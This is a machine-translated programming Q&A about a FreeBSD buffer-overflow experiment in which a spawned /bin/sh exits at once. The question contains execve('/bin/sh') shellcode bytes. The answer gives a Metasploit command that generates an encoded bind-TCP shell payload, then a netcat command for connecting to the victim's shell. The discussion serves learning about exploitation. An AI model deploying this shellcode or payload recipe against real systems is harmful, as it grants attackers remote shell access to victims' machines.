2012-05-26 61 views
6

我一直在FreeBSD系統上嘗試緩衝區溢出。 作爲第一個實驗,我試圖讓被攻擊的程序啓動另一個進程(在本例中是/ bin/hostname)。這一切都很好,程序打印主機名,然後終止。 之後,我試圖讓程序產生一個shell(即執行/ bin/sh)。我認爲這可以通過簡單地交換表示要調用的程序的字符串來完成。當我嘗試這個時候,被利用的程序只是退出,根據gdb它成功地產生了一個新的進程(/ bin/sh)。但是,沒有生成shell。 然後,我嘗試了我的第一個漏洞,並將/ bin/sh文件移動到/ bin/hostname,但仍然沒有更改任何內容。 我的問題是現在,從任何其他命令執行/ bin/sh似乎有什麼不同?緩衝區溢出 - 產生shell後程序終止

作爲參考,對於殼產卵的嘗試我用下面的shellcode:

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" 
"\x68\x2f\x62\x69\x6e\x89\xe3\x50" 
"\x54\x53\xb0\x3b\x50\xcd\x80"; 
+0

這可能是相關的:http://forums.freebsd.org/showthread.php?t=10054 – zxcdw

+0

更多的信息似乎是必要的,所以發佈你的代碼包括你的shellcode-source,這樣人們可以查看它。 – rumpel

回答

3

哈,我明白你的意思,但我相信你正在做一個根本的錯誤。您正在調用交互式shell而不綁定它。

這就像調用一個「ifconfig」命令。如果你想執行一個命令,那麼你的shell代碼是完美的,但是如果你想要一個交互式shell,你不能只運行sh。

簡單的運行sh會導致一個shell被執行,它不會讓你對shell進行交互控制。


解決方案: 使用shell代碼生成器,使反向TCP shell或綁定外殼和使用它作爲有效載荷的漏洞。

如果您在Metasploit中嘗試這樣做,那麼這裏有一個您想要的示例命令。

msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -b '\x00' -t c 
  • Msfpayload是函數的名稱。窗戶/ shell_bind_tcp是 利用路徑
  • LPORT是在其上遠程受害者機器 將有殼accessable端口
  • R是對原始輸出
  • 然後我們管,要msfencode因爲我們需要它是C代碼是可執行的,並具有 被編譯爲該架構
  • -e表示支持的編碼類型和架構,例如是爲Win的Sp2
  • -b表示你可能不會在外殼使用字節碼。例如,00是字符串字節的末尾
  • -t是輸出類型,爲C代碼。

研究多一點,玩耍,你會得到它。實質上,與執行靜態命令相比,獲得交互式shell更困難。

完成後,您可以使用像netcat這樣的程序來連接和使用shell。

netcat.exe -nv <victim ip> <port where shell was bound to> 

希望這是正確的解決方案。